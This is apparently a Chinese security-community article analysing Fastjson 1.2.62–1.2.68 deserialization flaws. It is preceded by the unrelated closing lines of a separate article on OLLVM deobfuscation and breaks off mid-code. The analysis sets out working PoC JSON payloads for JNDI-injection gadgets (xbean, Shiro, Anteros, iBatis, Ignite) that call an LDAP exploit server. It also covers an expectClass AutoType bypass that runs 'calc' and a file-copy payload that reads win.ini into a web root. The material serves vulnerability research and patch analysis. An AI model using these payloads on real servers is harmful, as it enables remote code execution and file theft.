用IDA查看恢复后的CFG
可以看到CFG跟原来的大致一样，然后反编译恢复出原始代码
## 5\. 总结
本文主要针对 x86 架构下 Obfuscator-LLV M的控制流平坦化，但最重要的是去除控制流平坦化
过程中的思路，同时当函数比较复杂时可能速度会有点慢。有时间会以此为基础尝试分析伪造 控制流、指令替换和 VM
等软件保护手段，另外符号执行也可以应用于漏洞挖掘领域，例如借 助符号执行生成覆盖率更高的Fuzzing测试集以及求解达到漏洞点的路径等。由于小弟刚学习
符号执行，可能有理解错误的地方，欢迎研究符号执行或者认为有更好思路的师傅们吐槽。。 。最后，感谢 angr 主要开发者 Fish Wang
在这期间的耐心帮助。
## 6\. 参考
1. [Obfuscating C++ programs via control flow flattening](http://ac.inf.elte.hu/Vol_030_2009/003.pdf)
2. https://github.com/obfuscator-llvm/obfuscator/tree/llvm-3.6.1
3. [Symbolic Execution and Program Testing](https://pdfs.semanticscholar.org/a29f/c90b207befb42f67a040c6a07ea6699f6bad.pdf)
4. [Selective Symbolic Execution](http://dslab.epfl.ch/pubs/selsymbex.pdf)
5. [CUTE: A Concolic Unit Testing Engine for C](http://mir.cs.illinois.edu/marinov/publications/SenETAL05CUTE.pdf)
6. https://github.com/JonathanSalwan/Triton
7. https://github.com/angr/angr
8. http://blog.quarkslab.com/deobfuscation-recovering-an-ollvm-protected-program.html
9. https://github.com/programa-stic/barf-project
10. https://github.com/angr/angr-management
* * * | 社区文章 |
# 浅析Fastjson1.2.62-1.2.68反序列化漏洞
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
这里简单学习分析下Fastjson 1.2.62-1.2.68版本之间的一些Gadget和expertClass绕过利用。
黑名单绕过的Gadget主要参考的：<https://github.com/threedr3am/learnjavabug>
1.2.68的文件读写利用参考的：<https://b1ue.cn/archives/364.html>
## 0x01 1.2.62反序列化漏洞（黑名单绕过）
### 漏洞原理
新Gadget绕过黑名单限制。
org.apache.xbean.propertyeditor.JndiConverter类的toObjectImpl()函数存在JNDI注入漏洞，可由其构造函数处触发利用。
PoC：
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"ldap://localhost:1389/Exploit"}
### 前提条件
* 需要开启AutoType；
* Fastjson <= 1.2.62；
* JNDI注入利用所受的JDK版本限制；
* 目标服务端需要存在xbean-reflect包；
### 漏洞复现
漏洞代码示例：
package vul;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class PoC_1_2_62 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://localhost:1389/Exploit\"}";
JSON.parse(poc);
}
}
开启LDAP恶意服务器和存放JNDIExploit恶意类的Web服务器，然后运行程序成功触发反序列化弹计算器：
### 调试分析
直接在CheckAutoType()函数上打上断点开始分析，函数位置：com\alibaba\fastjson\parser\ParserConfig.java
相比于之前版本调试分析时看的CheckAutoType()函数，这里新增了一些代码逻辑，这里大致说下，下面代码是判断是否调用AutoType相关逻辑之前的代码，说明如注释：
if (typeName == null) {
return null;
}
// 限制了JSON中@type指定的类名长度
if (typeName.length() >= 192 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
// 单独对expectClass参数进行判断，设置expectClassFlag的值
// 当且仅当expectClass参数不为空且不为Object、Serializable、...等类类型时expectClassFlag才为true
final boolean expectClassFlag;
if (expectClass == null) {
expectClassFlag = false;
} else {
if (expectClass == Object.class
|| expectClass == Serializable.class
|| expectClass == Cloneable.class
|| expectClass == Closeable.class
|| expectClass == EventListener.class
|| expectClass == Iterable.class
|| expectClass == Collection.class
) {
expectClassFlag = false;
} else {
expectClassFlag = true;
}
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
final long BASIC = 0xcbf29ce484222325L;
final long PRIME = 0x100000001b3L;
// 1.2.43检测，"["
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
// 1.2.41检测，"Lxx;"
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
// 1.2.42检测，"LL"
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
// 对类名进行Hash计算并查找该值是否在INTERNAL_WHITELIST_HASHCODES即内部白名单中，若在则internalWhite为true
boolean internalWhite = Arrays.binarySearch(INTERNAL_WHITELIST_HASHCODES,
TypeUtils.fnv1a_64(className)
) >= 0;
#### 未开启AutoType时
在前面的基础上进行调试。
由于未开启AutoType、未设置expectClass且类名不在内部白名单中，因此第一段判断逻辑（ **这是开启AutoType的检测逻辑**
）没进去执行：
往下，一系列的调用来尝试加载class，但并没有加载成功，看注释即可：
// 如果clazz还为null，则尝试从Mapping缓存中加载clazz
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
// 如果clazz还为null，则尝试调用findClass()来加载clazz
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
// 如果clazz还为null，则尝试从typeMapping中获取clazz
if (clazz == null) {
clazz = typeMapping.get(typeName);
}
// 如果在前面判断是在internalWhite即内部哈希白名单中，则直接加载clazz
if (internalWhite) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, true);
}
// 如果clazz不为空，且expectClass不为空、clazz不为HashMap类型、clazz不为expectClass的子类，则直接返回该类
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
接着到了AutoType关闭时的判断执行逻辑，即 **这是不启用AutoType的检测逻辑** ：
此处先进行哈希黑名单过滤，然后进行哈希白名单匹配。由于该Gadget并不在黑名单中，因此能绕过此检测逻辑。
往下的代码逻辑如下，看注释：
// 这里通过ASM对指定class进行visit，并尝试获取JsonType注解信息
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) {
// skip
} finally {
IOUtils.close(is);
}
// 设置autoTypeSupport开关
final int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport
|| (features & mask) != 0
|| (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
// 若到这一步，clazz还是null的话，就会对其是否开启AutoType、是否注解JsonType、是否设置expectClass来进行判断
// 如果判断通过，就会判断是否开启AutoType或是否注解JsonType，是的话就会在加载clazz后将其缓存到Mappings中，这正是1.2.47的利用点
// 也就是说，只要开启了AutoType或者注解了JsonType的话，在这段代码逻辑中就会把clazz缓存到Mappings中
if (clazz == null && (autoTypeSupport || jsonType || expectClassFlag)) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// 如果从前面加载得到了clazz
if (clazz != null) {
// 如果注解了JsonType，直接返回clazz
if (jsonType) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
}
// 判断clazz是否为ClassLoader、DataSource、RowSet等类的子类，是的话直接抛出异常
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}
// 如果是expectClass不为空且clazz是其子类，则直接返回，否则抛出异常
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
// build JavaBeanInfo后，对其creatorConstructor进行判断，如果该值不为null且开启AutoType则抛出异常
JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}
再往下，clazz为null且AutoType为false就直接抛出异常找不到指定类了：
就这，未开启AutoType就无法成功加载恶意类达到攻击目的。
#### 开启AutoType时
和前面一样的，看看关键点。
这里是进入了第一个判断的代码逻辑即开启AutoType的检测逻辑，先进行哈希白名单匹配、然后进行哈希黑名单过滤，但由于该类不在黑白名单中所以这块检测通过了并往下执行：
往下执行，到未开启AutoType的检测逻辑时直接跳过再往下执行，由于AutoTypeSupport为true，进入调用loadClass()函数的逻辑来加载恶意类：
跟进TypeUtils.loadClass()函数中，这块是老相识了，其中通过AppClassLoader类加载器成功加载恶意类，且由于前面开启AutoType的缘故、cacheClass为true进而开启了cache缓存、使得恶意类缓存到了Mapping中，最后返回加载的类：
最后由于AutoType开启了、clazz不为null且满足其中一些判断逻辑，最后就直接返回该恶意类了：
#### Gadget分析
AutoType那块调试分析完了，之后就是反序列化调用恶意类相关函数了。
继续往下调试看到，是调用到了org.apache.xbean.propertyeditor.JndiConverter类的无参构造函数，其中调用其父类AbstractConverter的有参构造函数：
跟进其父类AbstractConverter中，既然都调用到父类构造函数了，结合前面的PoC中的AsText属性知道（JndiConverter类中并没有重写该属性的setter方法），是调用的AbstractConverter类的setAsText()函数来进行setter设置的：
其中调用了toObject()函数进行对象转换操作，跟进去看下：
其中调用了toObjectImpl()函数进行处理。而该函数在父类AbstractConverter中只是个抽象函数，在其子类JndiConverter中是实现了的，其中就是JNDI注入漏洞点：
至此，就触发了JNDI注入漏洞导致成功利用了反序列化漏洞。
此时函数调用栈如下：
toObjectImpl:35, JndiConverter (org.apache.xbean.propertyeditor)
toObject:86, AbstractConverter (org.apache.xbean.propertyeditor)
setAsText:59, AbstractConverter (org.apache.xbean.propertyeditor)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:110, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:123, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
parseField:1241, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:866, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:1555, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JndiConverter (com.alibaba.fastjson.parser.deserializer)
deserialze:284, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:395, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1400, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1366, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:170, JSON (com.alibaba.fastjson)
parse:180, JSON (com.alibaba.fastjson)
parse:149, JSON (com.alibaba.fastjson)
main:10, PoC_1_2_62 (vul)
### 补丁分析
黑名单绕过的Gadget补丁都是在新版本中添加新Gadget黑名单来进行防御的：<https://github.com/alibaba/fastjson/compare/1.2.62%E2%80%A61.2.66#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4>
新版本运行后直接被抛出异常：
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. org.apache.xbean.propertyeditor.JndiConverter
在哈希黑名单中添加了该类，其中匹配到了该恶意类的Hash值：
## 0x02 1.2.66反序列化漏洞（黑名单绕过）
### 漏洞原理
新Gadget绕过黑名单限制。
1.2.66涉及多条Gadget链，原理都是存在JDNI注入漏洞。
org.apache.shiro.realm.jndi.JndiRealmFactory类PoC：
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}
br.com.anteros.dbcp.AnterosDBCPConfig类PoC：
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC：
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}
### 前提条件
* 开启AutoType；
* Fastjson <= 1.2.66；
* JNDI注入利用所受的JDK版本限制；
* org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包；
* br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包；
* com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包；
### 漏洞复现
漏洞代码示例：
package vul;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class PoC_1_2_66 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String poc = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://localhost:1389/Exploit\"], \"Realms\":[\"\"]}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://localhost:1389/Exploit\"}";
// String poc = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\"," +
// "\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://localhost:1389/Exploit\"}}";
JSON.parse(poc);
}
}
#### org.apache.shiro.realm.jndi.JndiRealmFactory
#### br.com.anteros.dbcp.AnterosDBCPConfig
#### com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
### 调试分析
这里只看Gadget关键点。
#### org.apache.shiro.realm.jndi.JndiRealmFactory
根据PoC：`{"[@type](https://github.com/type
"@type")":"org.apache.shiro.realm.jndi.JndiRealmFactory",
"jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}`
先调用了JndiRealmFactory类的jndiNames属性的setter方法进行设置：
往下继续反序列化操作，解析到存在Realms字段时，就调用到了JndiRealmFactory类的getRealms()函数，其中存在JNDI注入漏洞：
一个问题——为啥会调用到Realms的getter方法呢？
这是因为Realms的getter方法返回值类型就是Collection，满足Fastjson反序列化调用的getter方法的结论，因此能在反序列化的过程中调用到该getter方法。
#### br.com.anteros.dbcp.AnterosDBCPConfig
根据PoC：`{"[@type](https://github.com/type
"@type")":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://localhost:1389/Exploit"}`或`{"[@type](https://github.com/type
"@type")":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}`
先调用metricRegistry属性的setter方法，看到其中以属性值为参数调用getObjectOrPerformJndiLookup()函数：
跟进getObjectOrPerformJndiLookup()函数，存在JNDI注入漏洞：
另一个属性healthCheckRegistry同理：
#### com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig
根据PoC：`{"[@type](https://github.com/type
"@type")":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties":
{"[@type](https://github.com/type
"@type")":"java.util.Properties","UserTransaction":"ldap://localhost:1389/Exploit"}}`
直接调用属性properties的setter方法，其中获取类型为Properties的键名为UserTransaction的内容，并直接传入lookup()函数中导致JNDI注入漏洞：
### 补丁分析
添加对应的哈希黑名单：<https://github.com/alibaba/fastjson/compare/1.2.66%E2%80%A61.2.67#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4>
## 0x03 1.2.67反序列化漏洞（黑名单绕过）
### 漏洞原理
新Gadget绕过黑名单限制。
org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC：
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}
org.apache.shiro.jndi.JndiObjectFactory类PoC：
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}
### 前提条件
* 开启AutoType；
* Fastjson <= 1.2.67；
* JNDI注入利用所受的JDK版本限制；
* org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖；
* org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖；
### 漏洞复现
漏洞代码示例：
package vul;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class PoC_1_2_67 {
public static void main(String[] args) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
// String poc = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://localhost:1389/Exploit\"], \"tm\": {\"$ref\":\"$.tm\"}}";
String poc = "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://localhost:1389/Exploit\",\"instance\":{\"$ref\":\"$.instance\"}}";
JSON.parse(poc);
}
}
#### org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
#### org.apache.shiro.jndi.JndiObjectFactory
### 调试分析
这里只看Gadget关键点。
#### org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup
根据PoC：`{"[@type](https://github.com/type
"@type")":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup",
"jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}`
先调用jndiNames属性的setter方法，注意这里接收参数类型是List，因此构造对应的值需要是数组形式：
往下调试，会调用到tm字段的getter方法，其中存在JNDI注入漏洞：
这里就很奇怪了，getTm()函数其实并不满足Fastjson反序列化自动调用满足条件的getter方法的，那么它为啥会执行呢？
来看下面分析。
#### Fastjson循环引用
Fastjson支持循环引用，并且是默认打开的。参考：<https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8>
在Fastjson中，往JSONArray类型的对象里面add数据时，如果数据相同，那么就会被替换成`$ref`，也就是被简化了，因为数据一样所以直接指向上一条数据。
`$ref`即循环引用：当一个对象包含另一个对象时，Fastjson就会把该对象解析成引用。引用是通过`$ref`标示的。
语法 | 描述
---|---
{“$ref”:”$”} | 引用根对象
{“$ref”:”@”} | 引用自己
{“$ref”:”..”} | 引用父对象
{“$ref”:”../..”} | 引用父对象的父对象
{“$ref”:”$.members[0].reportTo”} | 基于路径的引用
那这样就清楚了，org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类PoC中后面那段的`{"$ref":"$.tm"}`，实际上就是基于路径的引用，相当于是调用`root.getTm()`函数，进而直接调用了tm字段的getter方法了。
PS：threedr3am大佬tql！
#### org.apache.shiro.jndi.JndiObjectFactory
根据PoC：`{"[@type](https://github.com/type
"@type")":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}`
先调用resourceName属性的setter方法设置属性值：
往下，就是和前面同理的，通过`"instance":{"$ref":"$.instance"}`即循环引用来调用instance的getter方法，其中存在JNDI注入漏洞：
### 补丁分析
添加对应的哈希黑名单：<https://github.com/alibaba/fastjson/compare/1.2.67%E2%80%A61.2.68#diff-f140f6d9ec704eccb9f4068af9d536981a644f7d2a6e06a1c50ab5ee078ef6b4>
## 0x04 1.2.68反序列化漏洞（expectClass绕过AutoType）
这部分只看新的绕过AutoType的东西即expectClass。
### 漏洞原理
本次绕过checkAutoType()函数的关键点在于其第二个参数expectClass，可以通过构造恶意JSON数据、传入某个类作为expectClass参数再传入另一个expectClass类的子类或实现类来实现绕过checkAutoType()函数执行恶意操作。
简单地说，本次绕过checkAutoType()函数的攻击步骤为：
1. 先传入某个类，其加载成功后将作为expectClass参数传入checkAutoType()函数；
2. 查找expectClass类的子类或实现类，如果存在这样一个子类或实现类其构造方法或setter方法中存在危险操作则可以被攻击利用；
### 前提条件
* Fastjson <= 1.2.68；
* 利用类必须是expectClass类的子类或实现类，并且不在黑名单中；
### 漏洞复现
简单地验证利用expectClass绕过的可行性，先假设Fastjson服务端存在如下实现AutoCloseable接口类的恶意类VulAutoCloseable：
package vul;
public class VulAutoCloseable implements AutoCloseable {
public VulAutoCloseable(String cmd) {
try {
Runtime.getRuntime().exec(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void close() throws Exception {
}
}
构造PoC如下：
{"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}
无需开启AutoType，直接成功绕过CheckAutoType()的检测从而触发执行：
### 调试分析
直接在CheckAutoType()函数中打断点开始调试。
第一次是传入java.lang.AutoCloseable类进行校验，这里CheckAutoType()函数的expectClass参数是为null的：
往下，直接从缓存Mapping中获取到了java.lang.AutoCloseable类：
看到该类是默认存在Mapping中的：
往下就是判断clazz是否不是expectClass类的继承类且不是HashMap类型，是的话抛出异常，否则直接返回该类。这里没有expectClass就直接返回java.lang.AutoCloseable类：
接着，返回到DefaultJSONParser类中获取到clazz后再继续执行，根据java.lang.AutoCloseable类获取到反序列化器为JavaBeanDeserializer，然后应用该反序列化器进行反序列化操作：
往下，调用的是com/alibaba/fastjson/parser/deserializer/JavaBeanDeserializer.java的deserialze()函数进行反序列化操作，其中type参数就是传入的java.lang.AutoCloseable类：
往下的逻辑，就是解析获取PoC后面的类的过程。这里看到获取不到对象反序列化器之后，就会进去如图的判断逻辑中，设置type参数即java.lang.AutoCloseable类为checkAutoType()函数的expectClass参数来调用checkAutoType()函数来获取指定类型，然后在获取指定的反序列化器：
此时，第二次进入checkAutoType()函数，typeName参数是PoC中第二个指定的类，expectClass参数则是PoC中第一个指定的类：
往下，由于java.lang.AutoCloseable类并非其中黑名单中的类，因此expectClassFlag被设置为true：
往下，由于expectClassFlag为true且目标类不在内部白名单中，程序进入AutoType开启时的检测逻辑：
由于vul.VulAutoCloseable类不在黑白名单中，因此这段能通过检测并继续往下执行。
往下，未加载成功目标类，就会进入AutoType关闭时的检测逻辑，和上同理，这段能通过检测并继续往下执行：
往下，由于expectClassFlag为true，进入如下的loadClass()逻辑来加载目标类，但是由于AutoType关闭且jsonType为false，因此调用loadClass()函数的时候是不开启cache即缓存的：
跟进该函数，使用AppClassLoader加载vul.VulAutoCloseable类并直接返回：
往下，判断是否jsonType、true的话直接添加Mapping缓存并返回类，否则接着判断返回的类是否是ClassLoader、DataSource、RowSet等类的子类，是的话直接抛出异常，这也是过滤大多数JNDI注入Gadget的机制：
前面的都能通过，往下，如果expectClass不为null，则判断目标类是否是expectClass类的子类，是的话就添加到Mapping缓存中并直接返回该目标类，否则直接抛出异常导致利用失败，
**这里就解释了为什么恶意类必须要继承AutoCloseable接口类，因为这里expectClass为AutoCloseable类、因此恶意类必须是AutoCloseable类的子类才能通过这里的判断**
：
checkAutoType()调用完返回类之后，就进行反序列化操作、新建恶意类实例进而调用其构造函数从而成功触发漏洞：
**小结：**
当传入checkAutoType()函数的expectClass参数不为null，并且需要加载的目标类是expectClass类的子类或者实现类时（不在黑名单中），就将需要加载的目标类当做是正常的类然后通过调用TypeUtils.loadClass()函数进行加载。
### 实际利用
前面漏洞复现只是简单地验证绕过方法的可行性，在实际的攻击利用中，是需要我们去寻找实际可行的利用类的。
这里直接参考[b1ue大佬文章](https://b1ue.cn/archives/364.html)，主要是寻找关于输入输出流的类来写文件，IntputStream和OutputStream都是实现自AutoCloseable接口的。
> 我寻找 gadget 时的条件是这样的。
>
> * 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
> * 需要一个通过 set 方法或构造方法传入字节数据的
> OutputStream，参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个，并且可以通过 set
> 方法或构造方法传入一个 OutputStream，最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
> * 需要一个通过 set 方法或构造方法传入一个 OutputStream，并且可以通过调用
> toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法
>
>
> 以上三个组合在一起就能构造成一个写文件的利用链，我通过扫描了一下 JDK ，找到了符合第一个和第三个条件的类。
>
> 分别是 FileOutputStream 和
> ObjectOutputStream，但这两个类选取的构造器，不符合情况，所以只能找到这两个类的子类，或者功能相同的类。
#### 复制文件
利用类： **org.eclipse.core.internal.localstore.SafeFileOutputStream**
依赖：
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjtools</artifactId>
<version>1.9.5</version>
</dependency>
看下SafeFileOutputStream类的源码，其`SafeFileOutputStream(java.lang.String,
java.lang.String)`构造函数判断了如果targetPath文件不存在且tempPath文件存在，就会把tempPath复制到targetPath中，正是利用其构造函数的这个特点来实现Web场景下的任意文件读取：
public class SafeFileOutputStream extends OutputStream {
protected File temp;
protected File target;
protected OutputStream output;
protected boolean failed;
protected static final String EXTENSION = ".bak";
public SafeFileOutputStream(File file) throws IOException {
this(file.getAbsolutePath(), (String)null);
}
// 该构造函数判断如果targetPath文件不存在且tempPath文件存在，就会把tempPath复制到targetPath中
public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {
this.failed = false;
this.target = new File(targetPath);
this.createTempFile(tempPath);
if (!this.target.exists()) {
if (!this.temp.exists()) {
this.output = new BufferedOutputStream(new FileOutputStream(this.target));
return;
}
this.copy(this.temp, this.target);
}
this.output = new BufferedOutputStream(new FileOutputStream(this.temp));
}
public void close() throws IOException {
try {
this.output.close();
} catch (IOException var2) {
this.failed = true;
throw var2;
}
if (this.failed) {
this.temp.delete();
} else {
this.commit();
}
}
protected void commit() throws IOException {
if (this.temp.exists()) {
this.target.delete();
this.copy(this.temp, this.target);
this.temp.delete();
}
}
protected void copy(File sourceFile, File destinationFile) throws IOException {
if (sourceFile.exists()) {
if (!sourceFile.renameTo(destinationFile)) {
InputStream source = null;
BufferedOutputStream destination = null;
try {
source = new BufferedInputStream(new FileInputStream(sourceFile));
destination = new BufferedOutputStream(new FileOutputStream(destinationFile));
this.transferStreams(source, destination);
destination.close();
} finally {
FileUtil.safeClose(source);
FileUtil.safeClose(destination);
}
}
}
}
protected void createTempFile(String tempPath) {
if (tempPath == null) {
tempPath = this.target.getAbsolutePath() + ".bak";
}
this.temp = new File(tempPath);
}
public void flush() throws IOException {
try {
this.output.flush();
} catch (IOException var2) {
this.failed = true;
throw var2;
}
}
public String getTempFilePath() {
return this.temp.getAbsolutePath();
}
protected void transferStreams(InputStream source, OutputStream destination) throws IOException {
byte[] buffer = new byte[8192];
while(true) {
int bytesRead = source.read(buffer);
if (bytesRead == -1) {
return;
}
destination.write(buffer, 0, bytesRead);
}
}
public void write(int b) throws IOException {
try {
this.output.write(b);
} catch (IOException var3) {
this.failed = true;
throw var3;
}
}
}
PoC：
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"D:/wamp64/www/win.txt"}
攻击利用：
#### 写入文件
写内容类： **com.esotericsoftware.kryo.io.Output**
依赖：
<dependency>
<groupId>com.esotericsoftware</groupId>
<artifactId>kryo</artifactId>
<version>4.0.0</version>
</dependency>
Output类主要用来写内容，它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流，其中buffer参数值是文件内容，outputStream参数值就是前面的SafeFileOutputStream类对象，而要触发写文件操作则需要调用其flush()函数：
/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.
* @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {
this.outputStream = outputStream;
position = 0;
total = 0;
}
...
/** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the
* maxBufferSize. */
public void setBuffer (byte[] buffer) {
setBuffer(buffer, buffer.length);
}
...
/** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {
if (outputStream == null) return;
try {
outputStream.write(buffer, 0, position);
outputStream.flush();
} catch (IOException ex) {
throw new KryoException(ex);
}
total += position;
position = 0;
}
...
接着，就是要看怎么触发Output类flush()函数了，flush()函数只有在close()和require()函数被调用时才会触发，其中require()函数在调用write相关函数时会被触发。
其中，找到JDK的ObjectOutputStream类，其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量，而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数，满足前面的需求：
/**
* Creates new BlockDataOutputStream on top of given underlying stream.
* Block data mode is turned off by default.
*/
BlockDataOutputStream(OutputStream out) {
this.out = out;
dout = new DataOutputStream(this);
}
/**
* Sets block data mode to the given mode (true == on, false == off)
* and returns the previous mode value. If the new mode is the same as
* the old mode, no action is taken. If the new mode differs from the
* old mode, any buffered data is flushed before switching to the new
* mode.
*/
boolean setBlockDataMode(boolean mode) throws IOException {
if (blkmode == mode) {
return blkmode;
}
drain();
blkmode = mode;
return !blkmode;
}
...
/**
* Writes all buffered data from this stream to the underlying stream,
* but does not flush underlying stream.
*/
void drain() throws IOException {
if (pos == 0) {
return;
}
if (blkmode) {
writeBlockHeader(pos);
}
out.write(buf, 0, pos);
pos = 0;
}
对于setBlockDataMode()函数的调用，在ObjectOutputStream类的有参构造函数中就存在：
public ObjectOutputStream(OutputStream out) throws IOException {
verifySubclass();
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;
